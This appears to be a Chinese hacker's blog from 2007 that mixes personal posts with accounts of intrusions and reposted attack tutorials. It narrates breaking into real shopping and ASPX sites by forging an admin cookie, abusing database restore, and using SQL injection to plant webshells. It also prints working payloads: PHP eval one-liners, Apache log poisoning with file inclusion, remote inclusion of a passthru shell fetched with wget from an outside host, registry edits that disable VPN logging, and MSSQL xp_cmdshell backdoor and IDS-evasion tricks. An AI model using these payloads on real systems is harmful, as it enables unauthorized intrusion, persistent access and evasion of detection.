今天看到一个购物网站,随手猜测了一个后台admin,发现真有这个后台,并且是直接进后台,然后验证了什么后才跳回到admin.asp这个管理员登陆叶面。由于闪的非常的快,并没有看清闪回admin.asp之前是什么内容,所以抓包看了下,发现闪回之前的叶面真是非常的有意思,物理路径什么的都出来了。再看下cookie,发现里面有个buyok%5Fuser很有个性,所以在百度搜索了下,希望可以找到他用的什么牌子的原程序就好了。

运气不错哦,发现他使用的是客隆购物网站管理系统,竟然还是商业软件,他声称这个系统非常的安全,下载了个破解的后发现后台验证是cookie不是session验证,这样就有搞头了。

用可以修改cookie的浏览器,把cookie定为:ASPSESSIONIDASRTBCRD=GGAAEMICFCLPGAGGEILFGGGN; buyok=ad=211%2E43%2Exxx%2Exx&admin=admin&temp=login; buyok%5Fuser%5Fip=211%2E43%2Exxx%2Exx; flux_stat_user=0.17111800 1188373058503316591

上面的ip地址是自己的ip。

然后访问admin文件夹,直接进去了。

下面是得到shell的方法了。

看safe5.asp,首先是备份数据库,抓包,得到数据库的地址,可惜,数据库加了防下载语句,插库是不可能了。备份完后,得到备份后的数据库:shopbackup.mdb,下载之。

然后点那个删除,删除这个备份得来的数据库:shopbackup.mdb。

然后点上传,把自己的asp的木马改名为muma.mdb,上传上去为shopbackup.mdb

然后点恢复,会把上传上去的shopbackup.mdb恢复为数据库xxx.asp。

成功的得到一个webshell了。

但是原来网站的数据库被替换后,网站跨了,赶快把下载下来的shopbackup.mdb上传上去,再恢复下,OK了,嘿嘿。

- 作者: Lvhu4na 2007年08月29日, 星期三 17:06  回复(0) |  引用(1) 加入博采

九天智能建站V5.2小漏洞两个

一是注入漏洞,newshow.asp的id参数存在注入漏洞,可以猜解出member表,得到用户账号密码。

二是上传漏洞,在资源管理那里可以抓包后上传asp文件。

- 作者: Lvhu4na 2007年08月18日, 星期六 15:36  回复(0) |  引用(1) 加入博采

我的女儿三岁了

三岁了,但是貌似越来越不听话了。

刚去完青岛,回来后,似乎离不开她的妈妈了,早上第一件事情,就是找她的妈妈,如果找不到,就开始哇哇的哭。郁闷死我。。。。

我天天失眠,一般就是在早上3点左右才能睡着,天天早上8点左右还要起床照顾孩子。。

- 作者: Lvhu4na 2007年08月12日, 星期日 15:52  回复(0) |  引用(1) 加入博采

河南网通adsl宽带用户名破解程序

今年5月,值得河南上网用户庆祝的时候,河南网通终于把该死的dhcp+拨号改成了pppoe拨号,fox给我传了个河南网通adsl宽带用户名破解程序,终于可以摆脱河南网通的拨号程序了,自己在网络连接里可以建立一个新连接,可以放心的把河南网通的拨号程序卸载,从此扔出自己的电脑了,该死的弹窗再也没有了,任务管理器里也少了两个程序,清爽了。

而且在vista和linux下也可以放心了。

需要的下吧,下完后把.mp3这个后缀去掉,正常解压就可以了。

http://lvhuana.bokee.com/inc/adsl.rar.mp3

- 作者: Lvhu4na 2007年08月3日, 星期五 18:35  回复(1) |  引用(1) 加入博采

不要误导我们这些菜鸟好不好

今天在网上找到一个DNS RPC Exploit,准备编译的时候,发现里面提示缺少dnsxpl.h这个头文件,奇怪了,google下,发现原来是另一种编译方法,是makefile生成文件的。

继续google,“在VC里如何用Makefile文件编译”,看到很多篇编译心得,都是讲的一个办法,原来是互相的抄来抄去,这里我把那个办法写出来:

运行cmd.exe   (or   command.com   in   win9x)->进到vc/bin目录->运行vc-vars32.bat->进到makefile   所在的目录->nmake   /f   makefile
办法都是这个样子的,我就照着做,但是到bin目录下后,怎么也找不到vc-vars32.bat这个文件,难道我的盗版vc6.0没有这个文件?本来想简单些来着,在c:\program files这个目录下直接ctrl+f搜索了下vc-vars32.bat这个文件,但是搜索结果是一个也没有找到。
手动打开C:\Program Files\Microsoft Visual Studio\VC98\Bin这个目录,发现根本就不是什么tmd该死的vc-vars32.bat文件,而文件名应该是VCVARS32.BAT这个,vc后面少了那个_符号,我说怎么也找不到vc-vars32.bat。
可能是版本问题?还是什么?那些喜欢转贴一些所谓经典文章或办法的人,你们最好还是自己测试下再转贴好不。。。

- 作者: Lvhu4na 2007年07月30日, 星期一 15:56  回复(0) |  引用(1) 加入博采

奇怪的目录设置

今天搞站碰到了一个aspx站点,简单浏览了下,心下一喜,发现了一个注入点,aspx的站点发现一个数字型注入漏洞,真不容易啊,以前都是挖掘搜索型漏洞。nbsi跑了下,sa权限,可惜了,错误提示关闭了,看来treelist得到web物理路径是不可能了。

用DataThiefV1.0跑表名和字段,填入以前的mssql肉鸡的sa和pass,然后自己用sqltools.exe连接上以前的mssql肉鸡,netstat -an |find "1433"得到了这个aspx站点的ip,看来web和mssql没有分离,也算是个好消息吧。同时用superscan扫了下,1433和3389都没有开放。得不到站点的物理路径,就不用说备份得到shell这个方法了。

看来只有跑到管理员的账号密码来登陆web后台,然后找漏洞上传文件来上传aspx或asp的webshell了。

DataThief跑出来管理账号和密码,奇怪的是密码是35位的加密方式,破解?无从下手了,猜解到后台登陆叶面是admin/admin_login.aspx,然后填入管理账号admin,密码admin888,登陆失败,接着试验,密码填入123456,靠,进来了。。。这种强度的密码干吗要搞那么莫名其妙的加密方式。。。

找到上传的地方,直接上传asp文件,真tmd运气好,上传成功了。路径是upfile/xxxxxxxxxxx.asp,访问下,404,头蒙蒙的。。难道是被杀了?接着换个aspshell,上传,接着显示上传成功,再访问,还是404。。。

接着再测试,上传aspx的webshell,可以访问了,但是那个目录解释aspx文件出错,日了,无聊的看着屏幕。。。

仔细看了下,虽然aspx那个webshell没有解释成功,但是,但是,下面却爆出了物理路径,嘿嘿,绕了一圈,还是回到通过物理路径来得到webshell了。既然是sa权限,那就简单多了,先习惯性的用nbsi来恢复下cmdshell,然后echo个test.txt进upfile目录,来测试下,物理路径是不是正确的,upfile/test.txt访问正常,看来是正确的了。接着写个小马.asp进去,可是照样返回404,看来那个目录是不能执行asp文件了,接着写小马到web的跟目录,还是404,日了,看来有点棘手,用nbsi来上传个aspx的shell到跟目录,成功执行了,乐呵呵的收工。明天再进去看他的服务器到底是怎么设置的。

- 作者: Lvhu4na 2007年07月23日, 星期一 19:30  回复(0) |  引用(1) 加入博采

两天时间,能做什么?

无聊的时间,闲着在看一个站点,php的,不知道用的什么程序,发现了一个注入点,添加'后直接爆出了物理路径

<><>Warning<>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in d:\apache\htdocs\include\common.inc on line 811

看来是有戏了,看了下common.inc文件,得到了dbuser,dbname和dbpass,连接3306失败,看来不允许外连。没办法,想了想,按照老思路来用casi来跑原代码,跑了一天,一个文件跑完了,看了看,貌似没有看出来远程包含漏洞。又跑了另一个文件的原代码,跑了一半就放弃了,朋友喊着出去喝酒。。一天就这么过去了。

第二天,接着搞,想了又想,在url后面输入phpmyadmin碰下运气,不错,真tmd点幸,有这个文件目录,但是没有返回那个要求输入dbname和dbpass的框,直接返回:对不起,你无权进入此页!

有点晕,看来phpmyadmin不允许外部管理?baidu了很多文章,又看了半天,看的头更晕了。不管了,回来在phpmyadmin后面输入phpinfo.php,结果这下弹出来框,输入了dbname和dbpass后终于顺利的看到了phpinfo.php的内容,接着试验,把phpinfo.php换成main.php,哈,进来了,然后接着baidu,找了下phpmyadmin后台怎么得到webshell,文章不少,照着文章内容,终于得到了一个webshell。

日,两天能做什么,我就能做这么多。。。随想了下,其实那个站如果思路正确的话,不出10分钟就可以得到一个webshell,那个服务器用的ftp还是serv-u 4.0版本的,可能动作快的话,2分钟就可以得到administrator的密码。

思路真的很重要。第一次搞apache+php+win32的服务器,就这么结束了,笨笨傻傻的结束了。

- 作者: Lvhu4na 2007年07月22日, 星期日 14:11  回复(0) |  引用(1) 加入博采

phpMyAdmin 后台拿webshell

[转贴的]

1.如何拿到登陆密码. 自己想办法
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell

- 作者: Lvhu4na 2007年07月22日, 星期日 13:29  回复(0) |  引用(1) 加入博采

邪恶的空格-PHP本地文件包含漏洞的新突破口!
http://s0n9.blog.sohu.com/

PS:文章说的出错鸟,事后剑心提醒我才发现,有忽悠人的嫌疑,Connection HTTP标头和能不能写入空格无关!!

记得Zizzy写过一篇《关于php包含Apache日志的随想》,这是一个很好的思路,我们可以随意构造

http://www.exp.com/index<?/**/eval($_POST[cmd]);/**/?>.php

这样的GET请求,将一句话木马写入web日志,然后利用文件包含漏洞包含日志得到WEBSHELL,如milw0rm上的这个EXP:

http://www.milw0rm.com/exploits/4029

不过很遗憾,这类情况只能在short_open_tag=on的情况下才能有效,当short_open_tag=off时,PHP将不支持<?/**/eval($_POST[cmd]);/**/?>这样的短语句.

所以我们只能使用<?php eval($_POST[cmd]);?>这样标准语法的一句话木马,但是问题来鸟,语句中有一个空格,类似

http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

这样的提交,WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

哈,上面说的牛牛可以略过,下面开始切入正题,我们知道一般情况下,一旦Web服务器向浏览器发送了请求数据,肯定会返回响应,这里我发现了WEB服务器一个奇怪的特性,就是如果没有返回响应而WEB服务器又接受了请求,那么请求的内容将原封不动的写入WEB日志,不会进行HTTP编码.

这样我们想个办法一直与WEB服务器保持TCP连接,不让WEB服务器处理响应返回,然后再由客户端的我们中断这次TCP连接,说得这么复杂其实很容易实现.只要在HTTP请求的数据包中去掉Connection HTTP标头值。

利用NC伪造没有Connection HTTP标头的请求包:

GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44

你会发现WEB服务器一直不会返回响应,直到我们客户端断开这次连接,这个邪恶的空格便写入了WEB日志!

- 作者: Lvhu4na 2007年07月20日, 星期五 17:05  回复(0) |  引用(1) 加入博采

关于php包含Apache日志的随想
来源:http://2096.blogbus.com/index.html
作者:Zizzy

  关于php包含Apache日志的利用,其实也就是利用提交的地址被Apache服务器日志记录,在日志里提交相应的php语句,从而包含了去执行。当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。
  比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

<? include($zizzy); ?>

你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档。

那么关于日志包含下面我们来看:
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf,来看下路径信息什么的
http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

读出Apache的配置信息
<VirtualHost 218.63.89.2>
User #3
Group silver
ServerAdmin webmaster@xxx.com
DocumentRoot /home/virtual/www.xxx.com
ServerName www.xxx.com
ServerAlias xxx.com
ErrorLog /home/virtual/www.xxx.com/logs/www-error_log
CustomLog /home/virtual/www.xxx.com/logs/www-access_log common
ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
Alias /icons/ /home/virtual/www.xxx.com/icons
</VirtualHost>

而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
就可以读出Apache的错误日志记录

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not
exist: /home/virtual/www.xxx.com/hack.php
[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not
exist: /home/virtual/www.xxx.com/111111111.php
[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not
exist: /home/virtual/www.xxx.com/22222.php3
[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/forum
[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/blog
[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/kkkkkkkk

而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。

比如我们提交
http://www.xxx.com/<?phpinfo();?>
这样肯定会出错,而出错就被记在日志里了
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息
可以的话这样子也不错,<?system("ls+-la+/home");?>

发散思维:
下面想的再深入一点就是我在想如何写入一个webshell来利用。
当然前提是权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。
比如这句php语句
<?=str_replace("?","!",passthru($cmd));?>

到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?=str_replace("?","!",passthru($cmd));?>这个执行命令的语句。连起来就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?=str_replace("?","!",passthru($cmd));?>");fclose($fp);?>

我们提交这句,再让Apache记录到日志里

http://xxx.com/z.php?zizzy=<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?=str_replace(\"?\",\"!\",passthru(\$cmd));?>");fclose($fp);?>

语句里加了些斜杆也是为了magic_quotes_gpc考虑,这样就在config.php里写入了一个php木马语句。
再来提交
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log

这样webshell就写入成功了。
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
你可以http://www.xxx.com/forum/config.php?cmd=ls来使用了


PS:再这里写入<?php @eval($_POST[cmd]); ?> 这句更好,一句话木马不是更方便,你们自己来试。

OK,关于PHP包含Apache日志利用的随想就延伸到这里,更多的还要我们自己去探索。

- 作者: Lvhu4na 2007年07月20日, 星期五 17:03  回复(0) |  引用(1) 加入博采

PHP程序包含文件漏洞的详解

[找不到原著作者信息,声明下,是转载的。]

首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。

一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕

include() && require()语句:包括并运行指定文件。

这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
详细参考:http://www.phpe.net/manual/function.include.php

require_once() && include_once()
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
详细参考:http://www.phpe.net/manual/function.require-once.php

二、为什么要包含文件

程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
很正常的一段PHP代码,它是怎么运作的呢?这里面涉及到$_GET的意义,我就不打算讲了(要不又能写篇HTTP的文章了),如果你还不了解GET,POST,等,那么你需要再Google一些相关的资料好好补一补了。
上面这段代码的使用格式可能是这样的:http://www.1steam.cn/php/index.php?page=main.php或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码,简单说下怎么运作的:
1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2.判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3.若$_GET[page]空的话就执行else,来include home.php 这个文件。

三、为什么会产生漏洞

你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3

注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。

四、怎么利用

上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:

1.包含读出目标机上其它文件

由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件,也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。

2.包含可运行的PHP木马

如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂),如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "
1.S.T
";      //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
echo "
1.S.T
";      //打印的返回的结束行提示信息
?>
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:

Quote:
ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
id whoami 查看当前用户
wget 下载指定URL的文件

等等其它的,你主机去BAIDU找吧,就不列举了。
上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵)

3.包含一个创建文件的PHP文件

也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:

1)使用wget之类的命令来下载一个Webshell

这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output-document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果当前目录可写,就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写,还需要想其它的办法。

2)使用文件来创建

前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

$f=file_get_contents("http://www.1ster.cn/1stphp.txt"); //打开指定路径的文件流
$ff=fopen("./upload/1st.php","a");     //寻找一个可以的目录,创建一个文件
fwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里
fclose($ff);    //关闭保存文件
?>
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。

- 作者: Lvhu4na 2007年07月20日, 星期五 17:01  回复(0) |  引用(1) 加入博采

CMD下建立VPN
来源:守护天使'S Blog

1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启

两块以上网卡的win2000做vpn很方便,添加nat协议后,客户端拨入,能够使用远程网络连接internet。 使得部分客户端可提高网络速度,并达到代理的作用。

一块网卡的winxp,win2003做类似的vpn仍然很方便,nat协议添加后,再添加两个接口,一个是本地连接,一个是内部,设置本地连接为全转发,内部为私有模式,既可让有权限的用户拨入。

一块网卡的win2000,做类似的vpn就不方便了,nat协议添加后,再添加接口,只可以添加上本地连接,内部不容许图形界面的添加,察看了netsh dump >c:\1.txt后,尝试在netsh命令添加内部接口,通过。 命令为:netsh routing ip nat add interface 内部 private

下面是部分常用命令:

netsh ras set user username permit //设置用户授权,该用户不能为tsinternetuser support_388945a0等。

netsh ras ip set addrassign pool //设置静态地址池模式

netsh ras ip add range 10.0.0.1 10.0.0.100 // 设置静态池范围 ,要用标准的局域网地址,避免将来在访问internet时候地址转发错误。

netsh routing ip nat install //添加nat协议

netsh routing ip nat add interface 本地连接 full //添加nat接口本地连接全转发

netsh routing ip nat add interface 内部 private //添加nat借口内部私有模式

igmp同样可以在netsh配置,命令行很长:

netsh routing ip igmp install

netsh routing ip igmp add interface 内部 igmpprototype=IGMPRTRV2 ifenabled=enable robustvar=2 startupquerycount=2 startupqueryinterval=31 genqueryinterval=125 genqueryresptime=10 lastmemquerycount=2 lastmemqueryinterval=1000 accnonrtralertpkts=YES

netsh routing ip igmp add interface name="本地连接" igmpprototype=IGMPPROXY ifenabled=enable
如果配置前已经有接口,就要先删除:

netsh routing ip igmp delete interface 内部 //与此类似

路由和远程访问服务会在系统、安全日记中记录不少信息,比如ipsec、登陆信息。

修改一下注册表可以避免:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters

ProhibitIPsec"=dword:00000001

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters

LoggingFlags"=dword:00000000

现在除了登陆信息,ipsec,remoteaccess警告,已经不记录。

----------------------------------------

还有值得一提的是建立好地vpn,通常使用的都是pptp协议,tcp1723端口,如果我们在网卡的ip策略添加了tcp1723的容许条目,基本上可以拨入。为什么是基本呢,因为pptp除了 tcp1723外还有一个ip47号协议,不同于tcp不同于udp,此协议对于认证很重要。如果网络上的防火墙割断的话,会出现拨号->用户认证 ->不通过认证断开的问题。

在配置vpn的时候,还需要remoteregister服务的支持,建立好以后可以关掉。

workstation , server,rpc同样在配置时候需要。

----------------------------------------

经测试,全命令行的建立vpn后,rrasmgmt.msc不出现具体配置信息。也就是说只有看网络连接文件夹,才能看出来一个拨入的连接。貌似隐蔽,比较见鬼。

- 作者: Lvhu4na 2007年07月7日, 星期六 16:29  回复(0) |  引用(1) 加入博采

征途,最烧钱的游戏

http://blog.ztgame.com/ztblog/checkshow.do?account=9BC9FC7D1CB3F97E1195CC0685FBED7DE974095FEB06D54A&handle=kong8833&no=2423

20万rmb出来的效果,可能那个人还有点谦虚在他所花的钱数上。

遗憾的是我竟然去年在这个游戏上浪费了一年的时间,后悔的肠子都绿了,所幸的是没有投资。。。。

- 作者: Lvhu4na 2007年06月4日, 星期一 19:42  回复(1) |  引用(1) 加入博采

被小菜们忽略的SQL注入技巧
信息来源:s0n9 '5 b109

下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:P

  1.关于openrowset和opendatasource

  可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')

  这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P

  2.关于msdasql两次请求的问题

  不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')

  当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P

  3.可怕的后门

  以前在网上看到有人说在 sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

  这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过!

  另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破 sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法,

  如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:

  4.利用t-sql骗过ids或攻击ids

  现在的ids已经变得越来越聪明了。 有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。

  先说说欺骗ids:

  ids既然监视xp_cmdshell关键字,那么我们可以这么做
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

